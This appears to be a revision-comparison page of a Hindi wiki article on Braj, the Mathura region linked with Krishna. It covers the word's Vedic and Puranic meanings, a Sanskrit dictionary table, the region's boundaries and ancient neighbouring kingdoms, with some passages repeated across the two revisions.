Difference between revisions of "ब्रज"

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{{ब्रज विषय सूची}}{{चयनित लेख}}
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{{ब्रज सूचना बक्सा}}
[[चित्र:Braj-Kolaz.jpg|thumb|220px|ब्रज के विभिन्न दृश्य]]
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'''ब्रज''' ([[अंग्रेज़ी]]: ''Braj'') भगवान श्रीकृष्ण की लीला स्थली के रूप में सारे विश्व में प्रसिद्ध है। वर्तमान समय में [[उत्तर प्रदेश]] के [[मथुरा]] सहित वह भू-भाग, जो श्रीकृष्ण के जन्म और उनकी विविध लीलाओं से सम्बंधित है, ब्रज कहलाता है। इस प्रकार ब्रज वर्तमान मथुरा मंडल और प्राचीन शूरसेन प्रदेश का अपर नाम और उसका एक छोटा रूप है। इसमें मथुरा, [[वृन्दावन]], [[गोवर्धन]], [[गोकुल]], [[महावन]], [[बलदेव]], [[नन्दगाँव]], [[बरसाना]], [[डीग]] और [[काम्यवन]] आदि भगवान श्रीकृष्ण के सभी लीला-स्थल सम्मिलित हैं। ब्रज की सीमा को [[ब्रज चौरासी कोस की यात्रा|चौरासी कोस]] माना गया है। [[सूरदास]] तथा अन्य [[ब्रजभाषा]] के भक्त कवियों और वार्ताकारों ने [[भागवत पुराण]] के अनुकरण पर मथुरा के निकटवर्ती वन्य प्रदेश को ब्रज कहा है और उसे सर्वत्र 'मथुरा', '[[मधुपुरी]]' या '[[मधुवन]]' से पृथक् वतलाया है। मथुरा, जलेसर, [[भरतपुर]], [[आगरा]], [[हाथरस]], [[धौलपुर]], [[अलीगढ़]], [[इटावा]], [[मैनपुरी]], [[एटा]], कासगंज और [[फ़िरोजाबाद]], ये सभी ब्रज क्षेत्र में आने वाले प्रमुख नगर हैं।
;ब्रज का परिचय
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==परिचय==
ब्रज शब्द के अर्थ का काल-क्रमानुसार ही विकास हुआ है। [[वेद|वेदों]] और [[रामायण]]-[[महाभारत]] के काल में जहाँ इसका प्रयोग ‘गोष्ठ’-'गो-स्थान’ जैसे लघु स्थल के लिये होता था। वहाँ पौराणिक काल में ‘गोप-बस्ती’ जैसे कुछ बड़े स्थान के लिये किया जाने लगा। उस समय तक यह शब्द एक प्रदेश के लिए प्रयुक्त न होकर क्षेत्र विषेश का ही प्रयोजन स्पष्ट करता था।
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{{main|ब्रज का परिचय}}
 
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ब्रज [[उत्तर प्रदेश|उत्तर प्रदेश राज्य]] का सर्वप्रमुख प्रसिद्ध तीर्थ स्थल है। यह सम्पूर्ण [[भारत]] में [[कृष्ण|भगवान श्रीकृष्ण]] की क्रीड़ास्थली और उनकी लीलाओं के लिए प्रसिद्ध है। 'ब्रज' शब्द के अर्थ का काल-क्रमानुसार ही विकास हुआ है। [[वेद|वेदों]] और [[रामायण]]-[[महाभारत]] के काल में जहाँ इसका प्रयोग ‘गोष्ठ’, 'गो-स्थान’ जैसे लघु स्थल के लिये होता था, वहीं पौराणिक काल में ‘गोप-बस्ती’ जैसे कुछ बड़े स्थान के लिये इसका प्रयोग किया जाने लगा। उस समय तक यह शब्द एक प्रदेश के लिए प्रयुक्त न होकर क्षेत्र विशेष का ही प्रयोजन स्पष्ट करता था। भागवत में ‘ब्रज’ क्षेत्र विशेष को इंगित करते हुए प्रयुक्त हुआ है। वहाँ इसे एक छोटे [[गाँव]] की संज्ञा दी गई है। उसमें ‘पुर’ से छोटा ‘ग्राम’ और उससे भी छोटी बस्ती को ‘ब्रज’ कहा गया है। 16वीं शताब्दी में ‘ब्रज’ प्रदेश के अर्थ में होकर ‘[[ब्रजमंडल]]’ हो गया और तब उसका आकार 84 कोस का माना जाने लगा था। उस समय [[मथुरा]] ‘ब्रज’ में सम्मिलित नहीं माना जाता था। [[सूरदास]] तथा अन्य [[ब्रजभाषा]] के कवियों ने ‘ब्रज’ और मथुरा का पृथक् रूप में ही कथन किया है।
भागवत में ‘ब्रज’ क्षेत्र विषेश को इंगित करते हुए ही प्रयुक्त हुआ है। वहाँ इसे एक छोटे ग्राम की संज्ञा दी गई है। उसमें ‘पुर’ से छोटा ‘ग्राम’ और उससे भी छोटी बस्ती को ‘ब्रज’ कहा गया है। 16वीं शताब्दी में ‘ब्रज’ प्रदेश के अर्थ में होकर ‘ब्रजमंडल’ हो गया और तब उसका आकार 84 कोस का माना जाने लगा था। उस समय [[मथुरा]] नगर ‘ब्रज’ में सम्मिलित नहीं माना जाता था। [[सूरदास]] तथा अन्य [[ब्रजभाषा]] कवियों ने ‘ब्रज’ और मथुरा का पृथक रूप में ही कथन किया है।
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==ब्रज शब्द की परिभाषा==
[[कृष्ण]] उपासक सम्प्रदायों और ब्रजभाषा कवियों के कारण जब ब्रज संस्कृति और ब्रजभाषा का क्षेत्र विस्तृत हुआ तब ब्रज का आकार भी सुविस्तृत हो गया था। उस समय मथुरा नगर ही नहीं, बल्कि उससे दूर-दूर के भू-भाग, जो ब्रज [[संस्कृति]] और ब्रज-भाषा से प्रभावित थे, व्रज अन्तर्गत मान लिये गये थे। वर्तमान काल में मथुरा नगर सहित मथुरा ज़िले का अधिकांश भाग तथा [[राजस्थान]] के [[डीग भरतपुर|डीग]] और कामवन का कुछ भाग, जहाँ से ब्रजयात्रा गुजरती है, ब्रज कहा जाता है। ब्रज संस्कृति और ब्रज भाषा का क्षेत्र और भी विस्तृत है।
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{{main|ब्रज शब्द की परिभाषा}}
 
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[[संहिता|वैदिक संहिताओं]] तथा [[रामायण]], [[महाभारत]] आदि [[संस्कृत]] के प्राचीन धर्मग्रंथों में ब्रज शब्द गोशाला, गो-स्थान, गोचर भूमि के अर्थों में प्रयुक्त हुआ है। [[ऋग्वेद]] में यह शब्द गोशाला अथवा गायों के खिरक के रूप में वर्णित है। [[यजुर्वेद]] में गायों के चरने के स्थान को ब्रज और गोशाला को गोष्ठ कहा गया है। शुक्ल यजुर्वेद में सुन्दर सींगों वाली गायों के विचरण स्थान से ब्रज का संकेत मिलता है। [[अथर्ववेद]] में गोशलाओं से सम्बंधित पूरा सूक्त ही प्रस्तुत है। [[हरिवंशपुराण]] तथा [[भागवतपुराण]] आदि में यह शब्द गोप बस्त के रूप में प्रयुक्त हुआ है। [[स्कंदपुराण]] में [[शाण्डिल्य|महर्षि शाण्डिल्य]] ने ब्रज शब्द का अर्थ वतलाते हुए इसे व्यापक ब्रह्म का रूप कहा है। अत: यह शब्द ब्रज की आध्यात्मिकता से सम्बंधित है।
उक्त समस्त भू-भाग के प्राचीन नाम, मधुबन, [[शूरसेन]], मधुरा, मधुपुरी, मथुरा और मथुरा मंडल थे तथा आधुनिक नाम ब्रज या ब्रजमंडल हैं। यद्यपि इनके अर्थ-बोध और आकार-प्रकार में समय-समय पर अन्तर होता रहा है। इस भू-भाग की धार्मिक, राजनीतिक, ऐतिहासिक और संस्कृतिक परंपरा अत्यन्त गौरवपूर्ण रही है।
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==भूगोल==
 
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{{main|ब्रज का भूगोल}}
=='व्रज' शब्द की परिभाषा==
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किसी भी सांस्कृतिक भू-खंड के सास्कृतिक वैभव के अध्ययन के लिये उस भू-खंड का प्राकृतिक व भौगोलिक अध्ययन अति आवश्यक होता है। [[संस्कृत]] और [[ब्रजभाषा]] के ग्रन्थों में ब्रज के धार्मिक महत्व पर अधिक प्रकाश डाला गया है, किन्तु उनमें कुछ प्राकृतिक और भौगोलिक स्थिति से भी सम्बंधित वर्णन प्रस्तुत हैं। ये उल्लेख ब्रज के उन भक्त कवियों की कृतियों में प्रस्तुत हैं, जिन्होंने 16वीं शती के बाद यहाँ निवास कर अपनी रचनाएँ सृजित की थीं। उनमें से कुछ महानुभावों ने ब्रज के लुप्त स्थलों और भूले हुए उपकरणों का अनुवेषण कर उनके महत्व को पुनः स्थापित करने का प्रयास किया। आज जिसे हम ब्रज क्षेत्र मानते हैं, उसकी [[दिशा|दिशाएँ]], [[उत्तर दिशा]] में [[पलवल]] ([[हरियाणा]]), [[दक्षिण]] में [[ग्वालियर]] ([[मध्य प्रदेश]]), [[पश्चिम]] में [[भरतपुर]] ([[राजस्थान]]) और [[पूरब|पूर्व]] में [[एटा]] ([[उत्तर प्रदेश]]) को छूती हैं।
श्री शिवराम आप्टे के संस्कृत हिन्दी कोश में 'व्रज' शब्द की परिभाषा-  
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==विस्तार==
प्रस्तुति <ref>डॉ.चन्द्रकान्ता चौधरी</ref>
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{{main|ब्रज का विस्तार}}
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ब्रज को यदि [[ब्रजभाषा]] बोलने वाले क्षेत्र से परिभाषित करें तो यह बहुत विस्तृत क्षेत्र हो जाता है। इसमें [[पंजाब]] से [[महाराष्ट्र]] तक और [[राजस्थान]] से [[बिहार]] तक के लोग भी ब्रजभाषा के शब्दों का प्रयोग बोलचाल में प्रतिदिन करते हैं। [[कृष्ण]] से तो पूरा विश्व परिचित है। ऐसा लगता है कि ब्रज की सीमाएँ निर्धारित करने का कार्य आसान नहीं है, फिर भी ब्रज की सीमाएँ तो हैं ही और उनका निर्धारण भी किया गया है। वर्तमान [[मथुरा]] तथा उसके आस-पास का प्रदेश, जिसे ब्रज कहा जाता है; प्राचीन काल में [[शूरसेन जनपद]] के नाम से प्रसिद्ध था। ई. सातवीं शती में जब चीनी यात्री [[हुएन-सांग]] यहाँ आया, तब उसने लिखा कि- "मथुरा राज्य का विस्तार 5,000 ली (लगभग 833 मील) था। दक्षिण-पूर्व में मथुरा राज्य की सीमा [[जेजाकभुक्ति]] (जिझौती) की पश्चिमी सीमा से तथा दक्षिण-पश्चिम में मालव राज्य की उत्तरी सीमा से मिलती रही होगी।"
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! व्रज्- (भ्वादिगण परस्मैपद व्रजति)
 
! व्रजः-(व्रज्+क)
 
|-
 
| style="width:50%" valign="top"|
 
*1.जाना, चलना, प्रगति करना-नाविनीतर्व्रजद् धुर्यैः<ref>मनुस्मृति 4।67</ref>
 
*2.पधारना, पहुँचना, दर्शन करना-मामेकं शरणं ब्रज-भगवद्गीता<ref>भगवद्गीता 18।66</ref>
 
*3.विदा होना, सेवा से निवृत्त होना, पीछे हटना
 
*4.(समय का) बीतना-इयं व्रजति यामिनी त्यज नरेन्द्र निद्रारसम् विक्रमांकदेवचरित।<ref>11।74, (यह धातु प्रायः गम् या धातु की भाँति प्रयुक्त होती है</ref>
 
*अनु-
 
**1.बाद में जाना, अनुगमन करना<ref>मनुस्मृति 11।111  कु.7।38</ref>
 
**2.अभ्यास करना, सम्पन्न करना
 
**3.सहारा लेना,
 
*आ-आना, पहुँचना,
 
*परि-भिक्षु या साधु के रूप में इधर उधर घूमना, संन्यासी या परिव्राजक हो जाना,
 
**1.निर्वासित होना,
 
**2.संसारिक वासनाओं को छोड़ देना, चौथे आश्रम में प्रविष्ट होना, अर्थात् संन्यासी हो जाना<ref>मनु.6।38,8।363</ref>
 
| style="width:50%" valign="top"|
 
*1.समुच्चय, संग्रह, रेवड़, समूह, नेत्रव्रजाःपौरजनस्य तस्मिन् विहाय सर्वान्नृपतीन्निपेतुः<ref>रघुवंश 6।7, 7।67, शिशुपालवध 6।6,14।33</ref>
 
*2.ग्वालों के रहने का स्थान
 
*3.गोष्ठ, गौशाला-शिशुपालवध 2।64
 
*4.आवास, विश्रामस्थल
 
*5.सड़क, मार्ग
 
*6.बादल,
 
*7.मथुरा के निकट एक ज़िला।
 
**सम.-अग्ङना,
 
**युवति:-(स्त्री.) व्रज में रहने वाली स्त्री, ग्वालन-भामी. 2|165,
 
**अजिरम-गोशाला,
 
**किशोर:-नाथ:, मोहन:, वर:, वल्ल्भ: कृष्ण के विशेषण।
 
|}
 
 
 
{| width="100%" class="bharattable-green"
 
|-
 
! व्रजनम् (व्रज+ल्युट्)
 
! व्रज्या (व्रज्+क्यप्+टाप्)
 
|-
 
| style="width:50%" valign="top" |
 
*1.घूमना, फिरना, यात्रा करना
 
*2.निर्वासन, देश निकाला
 
| style="width:50%" valign="top" |
 
*1.साधु या भिक्षु के रूप में इधर उधर घूमना,
 
*2.आक्रमण, हमला, प्रस्थान,
 
*3.खेड़, समुदाय, जनजाति या क़बीला, संम्प्रदाय,
 
*4.रंगभूमि, नाट्यशाला।
 
|}
 
 
 
==भौगोलिक स्थिति==
 
* आज जिसे हम ब्रज क्षेत्र मानते हैं उसकी दिशाऐं, उत्तर दिशा में पलवल ([[हरियाणा]]), दक्षिण में [[ग्वालियर]] ([[मध्य प्रदेश]]), पश्चिम में [[भरतपुर]] ([[राजस्थान]]) और पूर्व में [[एटा]] ([[उत्तर प्रदेश]]) को छूती हैं।
 
* ब्रज भाषा, रीति-रिवाज, पहनावा और ऐतिहासिक तथ्य इस सीमा के सहज आधार हैं।
 
* [[मथुरा]]-[[वृन्दावन]] ब्रज के केन्द्र हैं।
 
* मथुरा-वृन्दावन की भौगोलिक स्थिति इस प्रकार है- [[एशिया]] > [[भारत]] > [[उत्तर प्रदेश]] > मथुरा
 
* उत्तर- 27° 41' - पूर्व -77° 41'
 
* मार्ग स्थिति- राष्ट्रीय राजमार्ग संख्या- 2
 
* [[दिल्ली]]-[[आगरा]] मार्ग पर दिल्ली से 146 किमी
 
 
 
==ब्रज क्षेत्र==
 
[[चित्र:Kedarnath-Temple-Kamyavan-Kama-1.jpg|केदारनाथ मंदिर, [[काम्यवन]]|thumb|250px]]
 
ब्रज को यदि ब्रज-भाषा बोलने वाले क्षेत्र से परिभाषित करें तो यह बहुत विस्तृत क्षेत्र हो जाता है। इसमें [[पंजाब]] से [[महाराष्ट्र]] तक और राजस्थान से [[बिहार]] तक के लोग भी ब्रज भाषा के शब्दों का प्रयोग बोलचाल में प्रतिदिन करते हैं। कृष्ण से तो पूरा विश्व परिचित है। ऐसा लगता है कि ब्रज की सीमाऐं निर्धारित करने का कार्य आसान नहीं है, फिर भी ब्रज की सीमाऐं तो हैं ही और उनका निर्धारण भी किया गया है। पहले यह पता लगाऐं कि ब्रज शब्द आया कहाँ से और कितना पुराना है?
 
वर्तमान मथुरा तथा उसके आस-पास का प्रदेश, जिसे ब्रज कहा जाता है; प्राचीन काल में [[शूरसेन]] जनपद के नाम से प्रसिद्ध था। ई. सातवीं शती में जब चीनी यात्री [[हुएन-सांग]] यहाँ आया तब उसने लिखा कि मथुरा राज्य का विस्तार 5,000 ली (लगभग 833 मील) था। दक्षिण-पूर्व में [[मथुरा]] राज्य की सीमा [[जेजाकभुक्ति]] (जिझौती) की पश्चिमी सीमा से तथा दक्षिण-पश्चिम में मालव राज्य की उत्तरी सीमा से मिलती रही होगी। वर्तमान समय में ब्रज शब्द से साधारणतया मथुरा ज़िला और उसके आस-पास का भू भाग समझा जाता है। प्रदेश या जनपद के रूप में ब्रज या बृज शब्द अधिक प्राचीन नहीं है। शूरसेन जनपद की सीमाऐं समय-समय पर बदलती रहीं। इसकी राजधानी मधुरा या मथुरा नगरी थी। कालांतर में मथुरा नाम से ही यह जनपद विख्यात हुआ।
 
 
 
वैदिक साहित्य में इसका प्रयोग प्राय: पशुओं के समूह, उनके चरने के स्थान (गोचर भूमि) या उनके बाड़े के अर्थ में मिलता है। [[रामायण]], [[महाभारत]] तथा परवर्ती [[संस्कृत साहित्य]] में भी प्राय: इन्हीं अर्थों में ब्रज का शब्द मिलता है। [[पुराण|पुराणों]] में कहीं-कहीं स्थान के अर्थ में ब्रज का प्रयोग आया है, और वह भी संभवत: [[गोकुल]] के लिये। ऐसा प्रतीत होता है कि जनपद या प्रदेश के अर्थ में ब्रज का व्यापक प्रयोग ईस्वी चौदहवीं शती के बाद से प्रारम्भ हुआ। उस समय मथुरा प्रदेश में कृष्ण-भक्ति की एक नई लहर उठी, जिसे जनसाधारण तक पहुँचाने के लिये यहाँ की शौरसेनी प्राकृत से एक कोमल-कांत भाषा का आविर्भाव हुआ। इसी समय के लगभग [[मथुरा]] जनपद की, जिसमें अनेक वन उपवन एवं पशुओं के लिये बड़े ब्रज या चरागाह थे, ब्रज (भाषा में ब्रज) संज्ञा प्रचलित हुई होगी।
 
[[चित्र:Banke-Bihari-Temple.jpg|[[बांके बिहारी मन्दिर वृन्दावन|बांके बिहारी मन्दिर]], [[वृन्दावन]]|thumb|left|250px]]
 
ब्रज प्रदेश में आविर्भूत नई भाषा का नाम भी स्वभावत: ब्रजभाषा रखा गया। इस कोमल भाषा के माध्यम द्वारा ब्रज ने उस साहित्य की सृष्टि की जिसने अपने माधुर्य-रस से [[भारत]] के एक बड़े भाग को आप्लावित कर दिया। इस वर्णन से पता चलता है कि सातवीं शती में मथुरा राज्य के अन्तर्गत वर्तमान मथुरा-[[आगरा]] ज़िलों के अतिरिक्त आधुनिक [[भरतपुर]] तथा [[धौलपुर]] ज़िले और ऊपर मध्यभारत का उत्तरी लगभग आधा भाग रहा होगा। प्राचीन [[शूरसेन]] या मथुरा जनपद का प्रारम्भ में जितना विस्तार था उसमें [[हुएन-सांग]] के समय तक क्या हेर-फेर होते गये, इसके संबंध में हम निश्चित रूप से नहीं कह सकते, क्योंकि हमें प्राचीन साहित्य आदि में ऐसे प्रमाण नहीं मिलते जिनके आधार पर विभिन्न कालों में इस जनपद की लम्बाई-चौड़ाई का ठीक पता लग सके।
 
 
 
====आधुनिक सीमाऐं====
 
सातवीं शती के बाद से मथुरा राज्य की सीमाऐं घटती गईं। इसका प्रधान कारण समीप के [[कन्नौज]] राज्य की उन्नति थी, जिसमें मथुरा तथा अन्य पड़ोसी राज्यों के बढ़े भू-भाग सम्मिलित हो गये। प्राचीन साहित्यिक उल्लेखों से जो कुछ पता चलता है वह यह कि शूरसेन या [[शौरसेन]] अथवा मथुरा प्रदेश के उत्तर में [[कुरुदेश]] (आधुनिक दिल्ली और उसके आस-पास का प्रदेश) था, जिसकी राजधानी [[इन्द्रप्रस्थ]] तथा [[हस्तिनापुर]] थी। दक्षिण में [[चेदि|चेदि राज्य]] (आधुनिक [[बुंदेलखंड]] तथा उसके समीप का कुछ भाग) था, जिसकी राजधानी का नाम था सूक्तिमती नगर। पूर्व में [[पंचाल]] राज्य (आधुनिक रुहेलखंड) था, जो दो भागों में बँटा हुआ था - उत्तर पंचाल तथा दक्षिण पंचाल। उत्तर वाले राज्य की राजधानी [[अहिच्छत्र]] (बरेली ज़िले में वर्तमान रामनगर) और दक्षिण वाले की [[कांपिल्य]] (आधुनिक कंपिल, ज़िला फर्रूख़ाबाद) थी। शूरसेन के पश्चिम वाला जनपद [[मत्स्य]] (आधुनिक [[अलवर]] रियासत तथा [[जयपुर]] का पूर्वी भाग) था। इसकी राजधानी [[विराट नगर]] (आधुनिक वैराट, जयपुर में) थी।
 
 
 
==ब्रज नामकरण और उसका अभिप्राय==
 
[[चित्र:gokul-ghat.jpg|गोकुल घाट, [[गोकुल]]|thumb|250px]]
 
कोशकारों ने ब्रज के तीन अर्थ बतलाये हैं - (गायों का खिरक), मार्ग और वृंद (झुंड) - गोष्ठाध्वनिवहा व्रज:<ref>अमर कोश) 3-3-30</ref>
 
इससे भी गायों से संबंधित स्थान का ही बोध होता है। [[सायण]] ने सामान्यत: 'व्रज' का अर्थ गोष्ठ किया है। गोष्ठ के दो प्रकार हैं :-
 
'खिरक`- वह स्थान जहाँ गायें, बैल, बछड़े आदि को बाँधा जाता है।
 
 
 
गोचर भूमि- जहाँ गायें चरती हैं।
 
इन सब से भी गायों के स्थान का ही बोध होता है। इस संस्कृत शब्द `व्रज` से ब्रज भाषा का शब्द `ब्रज' बना है।
 
 
 
पौराणिक साहित्य में ब्रज (व्रज) शब्द गोशाला, गो-स्थान, गोचर- भूमि के अर्थों में प्रयुक्त हुआ, अथवा गायों के खिरक (बाड़ा) के अर्थ में आया है। `यं त्वां जनासो भूमि अथसंचरन्ति गाव उष्णमिव व्रजं यविष्ठ।' (10 - 4 - 2) अर्थात- शीत से पीड़ित गायें उष्णता प्राप्ति के लिए इन गोष्ठों में प्रवेश करती हैं।`व्यू व्रजस्य तमसो द्वारोच्छन्तीरव्रञ्छुचय: पावका।(4 - 51 - 2) अर्थात - प्रज्वलित अग्नि 'व्रज' के द्वारों को खोलती है।
 
[[यजुर्वेद]] में गायों के चरने के स्थान को `व्रज' और गोशाला को गोष्ठ कहा गया है - `व्रजं गच्छ गोष्ठान्`<ref>यजुर्वेद 1 - 25</ref> शुक्ल यजुर्वेद में सुन्दर सींगो वाली गायों के विचरण-स्थान से `व्रज' का संकेत मिलता है। [[अथर्ववेद]]' में एक स्थान पर `व्रज' स्पष्टत: गोष्ठ के अर्थ में प्रयुक्त हुआ है। `अयं घासों अयं व्रज इह वत्सा निवध्नीय:'<ref>अथर्ववेद (4 - 38 - 7</ref> अर्थात यह घास है और यह व्रज है जहाँ हम बछडी को बाँधते हैं। उसी वेद में एक संपूर्ण सूक्त<ref>अथर्ववेद(2 - 26 - 1</ref> ही गोशालाओं से संबंधित है।
 
[[चित्र:Vima Taktu.jpg|[[विम तक्षम]], [[मथुरा संग्रहालय|राजकीय संग्रहालय]], [[मथुरा]]|thumb|left|200px]]
 
श्रीमद् भागवत और [[हरिवंश पुराण]] में `व्रज' शब्द का प्रयोग गोप-बस्ती के अर्थ में ही हुआ है, - `व्रजे वसन् किमकसेन् मधुपर्या च केशव:'<ref>भागवत् 10 -1-10</ref> तद व्रजस्थानमधिकम् शुभे काननावृतम्<ref>हरिवंश, विष्णु पर्व 6 - 30</ref> [[स्कंद पुराण]] में महर्षि शांडिल्य ने `व्रज' शब्द का अर्थ `व्याप्ति' करते हुए उसे व्यापक ब्रह्म का रूप कहा है,<ref>वैष्णव खंड भागवत माहात्म्य, 1 -16 - 20</ref> किंतु यह, अर्थ व्रज की आध्यात्मिकता से संबंधित है।
 
कुछ विद्वानों ने निम्न संभावनाएं भी प्रकट की हैं -
 
[[बौद्ध]] काल में [[मथुरा]] के निकट `वेरंज' नामक एक स्थान था। कुछ विद्वानों की प्रार्थना पर [[गौतम बुद्ध]] वहाँ पधारे थे। वह स्थान वेरंज ही कदाचित कालांतर में `विरज' या `व्रज' के नाम से प्रसिद्ध हो गया।
 
[[यमुना नदी|यमुना]] को `विरजा' भी कहते हैं। विरजा का क्षेत्र होने से मथुरा मंडल `विरज' या `व्रज` कहा जाने लगा।
 
[[मथुरा]] के युद्धोपरांत जब [[द्वारिका]] नष्ट हो गई, तब श्री[[कृष्ण]] के प्रपौत्र वज्र ([[वज्रनाभ]]) मथुरा के राजा हुए थे। उनके नाम पर मथुरा मंडल भी 'वज्र प्रदेश` या `व्रज प्रदेश' कहा जाने लगा।
 
नामकरण से संबंधित उक्त संभावनाओं का भाषा विज्ञान आदि की दृष्टि से कोई प्रमाणिक आधार नहीं है, अत: उनमें से किसी को भी स्वीकार करना संभव नहीं है। [[वेद|वेदों]] से लेकर [[पुराण|पुराणों]] तक ब्रज का संबंध गायों से रहा है; चाहे वह गायों के बाँधने का बाड़ा हो, चाहे गोशाला हो, चाहे गोचर- भूमि हो और चाहे गोप- बस्ती हो। भागवत कार की दृष्टि में गोष्ठ, [[गोकुल]] और ब्रज समानार्थक शब्द हैं।
 
 
 
[[भागवत]] के आधार पर [[सूरदास]] आदि कवियों की रचनाओं में भी ब्रज इसी अर्थ में प्रयुक्त हुआ है; इसलिए `वेरज', `विरजा' और `वज्र` से ब्रज का संबंध जोड़ना समीचीन नहीं है। मथुरा और उसका निकटवर्ती भू-भाग प्रागैतिहासिक काल से ही अपने सघन वनों, विस्तृत चरागाहों, सुंदर गोष्ठों ओर दुधारू गायों के लिए प्रसिद्ध रहा है। भगवान् श्री [[कृष्ण]] का जन्म यद्यपि मथुरा में हुआ था, तथापि राजनीतिक कारणों से उन्हें गुप्त रीति से [[यमुना नदी|यमुना]] पार की गोप-बस्ती (गोकुल) में भेज दिया गया था। उनका शैशव एवं बाल्यकाल गोपराज [[नंद]] और उनकी पत्नी [[यशोदा]] के लालन-पालन में बीता था। उनका सान्निध्य गोपों, गोपियों एवं गो-धन के साथ रहा था। वस्तुत: वेदों से लेकर पुराणों तक ब्रज का संबंध अधिकतर गायों से रहा है; चाहे वह गायों के चरने की `गोचर भूमि' हो चाहे उन्हें बाँधने का खिरक (बाड़ा) हो, चाहे गोशाला हो, और चाहे गोप-बस्ती हो। भागवत्कार की दृष्टि में व्रज, गोष्ठ ओर गोकुल समानार्थक शब्द हैं।
 
{{Panorama
 
|image= चित्र:Mathura-Yamuna.jpg
 
|height= 200
 
|alt= यमुना
 
|caption= मथुरा नगर का [[यमुना नदी]] पार से विहंगम दृश्य <br /> Panoramic View of Mathura Across The Yamuna
 
}}
 
 
 
 
==पौराणिक इतिहास==
 
==पौराणिक इतिहास==
{| class="bharattable" align="right" style="margin:10px; text-align:center"
 
|+ <small>ब्रज</small>
 
|-
 
| [[चित्र:mathura-map.jpg|शूरसेन जनपद का नक्शा|250px|center]]
 
|-
 
|<small>[[शूरसेन महाजनपद|शूरसेन जनपद का नक्शा]]</small>
 
|-
 
| [[चित्र:Krishna Birth Place Mathura-13.jpg|[[कृष्ण जन्मभूमि]], [[मथुरा]]|250px|center]]
 
|-
 
|<small>[[कृष्ण जन्मभूमि]], [[मथुरा]]</small>
 
|-
 
| [[चित्र:cows-mathura.jpg|ब्रज की गौ (गायें)|250px|center]]
 
|-
 
|<small>ब्रज की गौ (गायें)</small>
 
|-
 
| [[चित्र:Govindev-temple-1.jpg|[[गोविन्द देव मन्दिर वृन्दावन|गोविन्द देव मन्दिर]], [[वृन्दावन]]|250px|center]]
 
|-
 
|<small>[[गोविन्द देव मन्दिर वृन्दावन|गोविन्द देव मन्दिर]], [[वृन्दावन]]</small>
 
|-
 
| [[चित्र:Yamuna-Mathura-2.jpg|[[यमुना नदी]]|250px|center]]
 
|-
 
|<small>[[यमुना नदी]]</small>
 
|-
 
| [[चित्र:Jain-Tirthankar-Neminath-Mathura-Museum-36.jpg|नेमिनाथ तीर्थंकर|250px|center]]
 
|-
 
|<small>नेमिनाथ तीर्थंकर</small>
 
|-
 
| [[चित्र:Radha-Krishna-Janmbhumi-Mathura-1.jpg|[[राधा]]-[[कृष्ण]]|250px|center]]
 
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|<small>[[राधा]]-[[कृष्ण]]</small>
 
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| [[चित्र:maurya-dynasty-terracottas-mathura-museum.jpg|मौर्य कालीन मृण्मूर्ति|250px|center]]
 
|-
 
|<small>[[मौर्य काल|मौर्य कालीन]] मृण्मूर्ति</small>
 
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| [[चित्र:sunga-dynasty-terracottas-2.jpg|शुंग कालीन मृण्मूर्ति|250px|center]]
 
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|<small>[[शुंग वंश|शुंग कालीन]] मृण्मूर्ति</small>
 
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| [[चित्र:kanishk.jpg|[[कनिष्क]]|250px|center]]
 
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| [[चित्र:Seated-Rishabhanath-Jain-Museum-Mathura-38.jpg|[[ॠषभनाथ तीर्थंकर|ऋषभनाथ]]|250px|center]]
 
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|<small>|[[ॠषभनाथ तीर्थंकर|ऋषभनाथ]]</small>
 
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| [[चित्र:Seated-Jain-Tirthankara-Jain-Museum-Mathura-11.jpg|[[तीर्थंकर|जैन तीर्थंकर]]|250px|center]]
 
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|<small>[[तीर्थंकर|जैन तीर्थंकर]]</small>
 
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| [[चित्र:Ganesha-Mathura-Museum-80.jpg|[[गणेश]]|250px|center]]
 
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| [[File:Buland-Darwaja-Fatehpur-Sikri-Agra.jpg|[[बुलंद दरवाज़ा]], [[फ़तेहपुर सीकरी]]|250px|center]]
 
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| [[चित्र:kusum-sarovar-01.jpg|[[कुसुम सरोवर गोवर्धन|कुसुम सरोवर]]|250px|center]]
 
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| [[चित्र:Peacock-Mathura-3.jpg|[[मोर]]|250px|center]]
 
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| [[चित्र:Ahoi-Astami-1.jpg|[[अहोई अष्टमी]]|250px|center]]
 
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| [[चित्र:Akbar-Tansen-Haridas.jpg|[[अकबर]], [[तानसेन]] और [[हरिदास]]|250px|center]]
 
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| [[चित्र:Bansuri.jpg|[[बाँसुरी]]|250px|center]]
 
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|<small>[[बाँसुरी]]</small>
 
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| [[चित्र:Jain-Museum-Mathura-2.jpg|[[जैन संग्रहालय मथुरा|राजकीय जैन संग्रहालय]], मथुरा|250px|center]]
 
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|<small>[[जैन संग्रहालय मथुरा|राजकीय जैन संग्रहालय]], [[मथुरा]]</small>
 
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{{main|ब्रज का पौराणिक इतिहास}}
 
{{main|ब्रज का पौराणिक इतिहास}}
 
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सरस्वती के निकट ही [[दृषद्वती नदी|दृषद्वती]] नदी बहती थी। मनु ने सरस्वती और दृषद्वती नदियों के [[दोआब]] को 'ब्रह्मावर्त' प्रदेश की संज्ञा दी है। ब्रह्मावर्त का निकटवर्ती भू-भाग 'ब्रह्मर्षि प्रदेश' कहलाता था। उसके अंतर्गत [[कुरु]], [[मत्स्य]], [[पंचाल]] और [[शूरसेन]] जनपदों की स्थिति मानी गई है। [[मनुस्मृति]]<ref>मनुस्मृति - 2-17,16, 20</ref> में जनपदों के निवासियों के आचार-विचार समस्त [[पृथ्वी देवी|पृथ्वी]] के नर-नारियों के लिए आदर्श बतलाये गये हैं। वैदिक संस्कृति का प्रादुर्भाव चाहे सप्त सिंधव प्रदेश में हुआ, किंतु वह ब्रह्मावर्त और ब्रह्मर्षि प्रदेशों में विकसित हुई थी। सिंधु, सरस्वती और दृषद्वती से लेकर [[यमुना]] नदी तक के विशाल पावन प्रदेश ने वैदिक संस्कृति के प्रादुर्भाव और विकास में महत्त्वपूर्ण योग दिया था। इस प्रकार शूरसेन जनपद, जो [[मथुरा]] मंडल अथवा [[ब्रजमंडल]] का प्राचीन नाम है, वैदिक संस्कृति के विकास का अन्यतम पुरातन प्रदेश रहा है।
====आर्य और उनका प्रारंभिक निवास====
 
